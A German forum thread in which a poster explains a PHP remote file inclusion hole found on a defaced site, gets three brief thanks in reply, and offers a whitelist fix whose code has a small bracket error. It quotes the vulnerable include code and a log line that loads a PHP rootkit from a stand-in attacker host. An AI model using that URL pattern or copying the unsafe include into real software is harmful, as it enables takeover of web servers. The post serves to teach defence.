Homepage selbermachen 7.852 Themen, 35.619 Beiträge

Sicherheitslücken bei der PHP-Programmierung

xafford / 3 Antworten / Baumansicht Nickles

Aus gegebenem Anlaß hier eine kleine Abhandlung über eine
leider sehr häufig anzutreffende Sicherheitslücke in PHP-Scripten,
die leider auch noch recht leicht aufzufinden sind. Hier eine kleine Anekdote
dazu.
Vor kurzem hat ein Bekannter von mir sich beklagt, daß seine Seite häufiger
defaced (Inhalte verändert) würde und er nicht wisse, wie die Übeltäter
es bewerkstelligt hätten. Er fragte, ob ich mir das mal anschauen könne. Die Seite
wurde durch eine Firma erstellt.
Da ich schon Vermutungen in die Richtung hatte durch einen ähnlichen Fall vor nicht allzu langer
Zeit schaut ich mir zuerst die Logs des Apache an und
wurde auch recht schnell fündig. Der Programmierer hatte eine Lücke, groß wie ein
Scheunentor implementiert in einer Funktion zur Integration von Seitenelementen.
Der Code sah ungefähr folgendermaßen aus:

if(isset($page))
{
include("$page.php");
}

Im Apachelog fand sich ähnliche EInträge wie:

index.php?page=http://evil.server.co.uk/rootkit

Ein Aufruf von http://evil.server.co.uk/rootkit förderte dann ein Script im Quellcode
zutage, daß genau das war, wie es hieß, ein Rootkit in PHP mit Uploadfunktion,
Dateimanager, Kommandozeile. Eine Suche im Webroot zeigte auch, daß bereits weiterer Code
auf den Server hoch geladen wurde.
Was hatte der Programmierer falsch gemacht? Eigentlich 2 Dinge. Er vertraute auf die zuverlässigkeit
von übermittelten Daten, was man nie machen sollte in einem unsicheren Umfeld. Weiterhin
vergaß er die URL_FOPEN_WRAPPERS, welche es ermöglichen Dateien auch über http,
https, ftp zu includen. Er hatte zwar ansatzweise versucht Fehler abzufangen durch das Anhängen der
Dateiendung, was aber vollkommen unzureichend ist.
Wenn man nun meint, so etwas passiert nur bei Laien und kleinen Seiten irrt. Ich kenne mindestens 2
Große Seiten, bei denen ähnliches funktioniert. Die eine Seite ist die Homepage eines
bekannten amerikanischen Musikers, auf der allerdings die Webserverkonfiguration relativ sicher ist und
man "nur" Daten des jeweiligen Webroot auslesen kann, mit denen man allerdings einiges an Schaden anrichten könnte,
die andere Seite ist eine Seite eines Mittelständischen Unternehmens mit eigener Standleitung
und eigenem Server, der pikanterweise auch noch gleichzeitig Sambaserver ist, auf welchem die
Logonscripts einiger Clients im Netzwerk liegen, die sich problemlos über ein eingeschmuggeltes
"Rootkit" verändern liesen.

Wenn man also Includes nutzt und Parameter hierzu über die URL übermitteln will, dann sollte
man einige Sicherheitsvorkehrungen treffen:

Bestenfalls baut man Parameter und nicht die Dateinamen in die Übermittlung

link: index.php?page=3

empty($_GET[\'page\')?$page=1:$page=$_GET[\'page\'];
switch($page)
{
case 1:
$page=\'seite1.php\';
break;
case 2:
$page=\'seite2.php\';
break;
case 3:
$page=\'seite3.php\';
break;
default:
$page=\'error.php\';
}
include(\'./\'.$page);

Hat man zu viele Seiten um diese mittels switch zu überprüfen, so muß man die
übergebenen Parameter genau überprüfen und auch den include so aufbauen, daß
keine fremden Inhalte geladen werden können.

Ich hoffe der Text war für irgendjemand von Interesse.
Pauschalurteile sind immer falsch!!!
bei Antwort benachrichtigen
Der_Milchmann xafford „Sicherheitslücken bei der PHP-Programmierung“
Optionen

War er !

-----------------------------------Zu Hartz4 kann ich nur sagen, dass ich froh bin, dass ich einen Job habe
bei Antwort benachrichtigen
twmike xafford „Sicherheitslücken bei der PHP-Programmierung“
Optionen

Ist er

Danke

bei Antwort benachrichtigen
Wumpchild xafford „Sicherheitslücken bei der PHP-Programmierung“
Optionen

klingt auf jeden fall beachtenswert, allerdings werd ich daraus auch noch nicht so richtig schlau... hab mir erst vor einigen tagen ein paar bücher über php und php in verbindung mit mysql gekauft, um in die php-programmierung einzusteigen.

aber ich hab mir das mal mit zu meinen php-tutorials gespeichert. brauchen kann man es sicher.

p r o s t Wumpchild
bei Antwort benachrichtigen